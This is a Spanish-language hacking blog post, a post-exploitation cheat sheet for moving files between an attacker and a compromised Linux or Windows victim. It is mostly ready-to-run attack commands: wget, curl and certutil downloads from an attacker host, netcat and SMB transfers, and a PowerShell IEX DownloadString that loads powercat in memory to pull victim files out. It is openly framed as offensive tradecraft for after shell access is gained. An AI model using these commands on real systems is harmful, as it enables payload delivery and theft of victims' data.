Power belongs to the people who take it

Transferir archivos (Post explotación) – CheatSheet

Una vez conseguida shell en un objetivo es importante la tranferencia de archivos entre la máquina víctima y la atacante ya que muchas veces necesitaremos subir archivos como herramientas automáticas o exploits o bien descargarnos archivos de la víctima para analizarlos, reversing, etc.
En este post veremos un Cheatsheet de algunas de las maneras para realizar estas transferencias.
Si se os ocurre alguna mas no dudeis en comentarlo.

Antes de empezar hay que aclarar que si se obtiene la conexión con el objetivo mediante meterpreter, empire o alguna herramienta similar se facilitará la tarea pero como a veces no es posible o no conviene cargar esas herramientas solo comentaremos las maneras mas manuales.

En este post veremos los casos de que la máquina víctima sea Linux o Windows.

Linux

  • Subir archivos a la víctima

    • Simple HTTP Server

      Con este metodo hostearemos nuestro archivo a subir con un simple server de python, que tambien podria hostearse mediante cualquier otro server pero usaremos este por su sencillez, y posteriormente lo descargamos con wget en la víctima(o bien curl si no esta instalado).



      Comando máquina atacante:

      python -m SimpleHTTPServer 80
      

      Comando máquina víctima:

      wget http://192.168.1.35/FiletoTransfer
      

      o

      curl -o FiletoTransfer http://192.168.1.35/FiletoTransfer
      

    • SCP(utilidad de SSH)

      Este metodo solo será valido si la máquina objetivo tiene ssh y disponemos de las credenciales.
      Utilizaremos la utilidad scp para transferir el archivo



      Comando máquina atacante:

      scp FiletoTransfer [email protected]:/home/tester/iron/
      

    • Netcat

      Utilizaremos la herramienta que es conocida como la navaja suiza del hacker, netcat.
      La mayoria de los equipos con linux lo llevan instalado asi que esto es una ventaja.



      Comando máquina víctima:

      nc -lvp 4444 > FiletoTransfer
      

      Comando máquina atacante:

      nc 192.168.1.39 4444 -w 3 < FiletoTransfer
      

    • FTP

      Montaremos un ftp temporal(podriamos utilizar un ftp convencional) utilizando la utilidad twistd para asi acceder desde la víctima y descargar el archivo



      Comando máquina atacante:

      twistd -n ftp -r .
      

      Comando máquina víctima:

      wget ftp://192.168.1.35:2121/FiletoTransfer
      

  • Bajar archivos de la víctima

    • Simple Server HTTP

      Este metodo es el mismo exactamente que para subir un archivo pero al revés. En este caso la máquina víctima debe tener python para ejecutar el simple server.
      Tenemos que tener en cuenta que no tendremos permisos para levantar cualquier puerto.
      También podríamos mover nuestro archivo a la carpeta del servidor web si por ejemplo tiene corriendo el apache, aunque para eso deberiamos tener permisos.



      Comando máquina víctima:

      python -m SimpleHTTPServer 8080
      

      Comando máquina atacante:

      wget http://192.168.1.39:8080/FiletoDownload
      

    • Netcat

      Tambien utilizaremos la herramienta netcat a la inversa que para subir el archivo a la máquina víctima.
      Es importante tener en cuenta los permisos sobre los puertos a utilizar.



      Comando máquina atacante:

      nc -lvp 4444 > FiletoDownload
      

      Comando máquina víctima:

      nc 192.168.1.35 4444 -w 3 < FiletoDownload
      

    • SCP(utilidad de SSH)

      Este metodo solo será valido si la máquina objetivo tiene ssh y disponemos de las credenciales.
      Utilizaremos la utilidad scp para transferir el archivo de la máquina víctima a la nuestra.



      Comando máquina atacante:

      scp [email protected]:/home/tester/iron/FiletoDownload .
      

Windows

  • Subir archivos a la víctima

    • Powershell DownloadFile

      Con este metodo hostearemos nuestro archivo a subir con un simple server de python, que tambien podria hostearse mediante cualquier otro server pero usaremos este por su sencillez, y posteriormente lo descargamos con la función DownloadFile de powershell.



      Comando máquina atacante:

      python -m SimpleHTTPServer 8080
      

      Comando máquina víctima:

      powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.10.1:8080/FiletoTransfer','C:\Users\test\Desktop\FiletoTransfer')"
      

    • Certutil.exe

      Con nuestro archivo hosteado utilizaremos la herramienta de Microsoft certutil.exe para bajarnos el archivo que queramos. Esta herramienta esta pensada para bajar certificados pero como ya vimos en este post se puede aprovechar para mas cosas.



      Comando máquina atacante:

      python -m SimpleHTTPServer 8080
      

      Comando máquina víctima:

      certutil.exe -urlcache -split -f http://10.10.10.1:8080/FiletoTransfer FiletoTransfer
      

    • Netcat

      Este metodo es similar al usado en netcat con linux. Para poder realizar la transferencia de esta manera deberemos tener el binario de netcat para nuestro windows.



      Comando máquina víctima:

      nc.exe -lvp 4444 > FiletoTransfer
      

      Comando máquina atacante:

      nc 10.10.10.2 4444 -w 3 < FiletoTransfer
      

    • FTP

      Utilizaremos un FTP temporal para hostear nuestro archivo.
      Windows lleva preinstalado un cliente FTP por lo que nos conectaremos y bajaremos el archivo deseado. Puede que nuestra shell no sea interactiva y tengamos que usar un fichero de comandos para conectarnos y descargar el fichero.



      Comando máquina atacante:

      twistd -n ftp -r .
      

      Comando máquina víctima:

      ftp
      open 10.10.10.1 2121
      anonymous
      
      get FiletoTransfer
      bye
      

    • SMB

      Mediante impacket-smbserver montaremos un smb folder en nuestra máquina a la que accederemos desde la máquina víctima descargando asi el archivo



      Comando máquina atacante:

      impacket-smbserver -smb2support test .
      

      Comando máquina víctima:

      copy \\10.10.10.1\test\FiletoTransfer FiletoTransfer
      

  • Bajar archivos de la víctima

    • FTP

      Con este metodo montaremos un ftp temporal en la carpeta donde se encuentra nuestro archivo pero esta vez con permiso de escritura.
      Posteriormente accederemos desde la víctima y subiremos nuestro archivo.



      Comando máquina atacante:

      python -m pyftpdlib -w
      

      Comando máquina víctima:

      ftp
      open 10.10.10.1 2121
      anonymous
      
      put FiletoDownload
      bye
      

    • Netcat

      Este metodo es similar al usado en netcat para subir archivos pero a la inversa. Para poder realizar la transferencia de esta manera deberemos tener el binario de netcat para nuestro windows.



      Comando máquina atacante:

      nc -lvp 4444 > FiletoDownload
      

      Comando máquina víctima:

      nc.exe 10.10.10.1 4444 -w 3 < FiletoDownload
      

    • SMB

      Mediante impacket-smbserver montaremos un smb folder en nuestra máquina a la que accederemos desde la máquina víctima para copiar el archivo a descargar en nuestra carpeta SMB



      Comando máquina atacante:

      impacket-smbserver -smb2support test .
      

      Comando máquina víctima:

      copy  FiletoDownload \\10.10.10.1\test\FiletoDownload
      

    • Powercat

      En este metodo cargaremos en memoria el modulo de powercat, una herramienta con la que podemos cargar una shell, enviar archivos. En este caso lo usaremos para esto mismo.
      Tenemos hosteado en nuestra máquina el archivo powercat.ps1 y lo cargamos mediante la funcion DownloadString. Ejecutamos powercat para enviarnos el archivo y mediante wget lo descargamos en nuestra máquina.
      Veremos que la descarga no termina nunca pero la cancelaremos cuando pueda haber terminado dependiendo del tamaño del archivo.



      Comando máquina víctima:

      powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.10.1/powercat.ps1');powercat -l -p 4444 -i C:\Users\test\FiletoDownload"
      

      Comando máquina atacante:

      wget http://10.10.10.2:4444/FiletoDownload
      

Herramientas:
netcat, impacket, pyftpdlib, powercat, twistd

¿Me ayudas a compatirlo?

3 comentarios

  1. ToxicParticle

    Awesome

  2. Antonio

    Gracias estimado, bien explicado, es de mucha ayuda … Saludos desde Centro America…

  3. lund

    gracias amigo ♥

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

© 2024 ironHackers

Tema por Anders NorenArriba ↑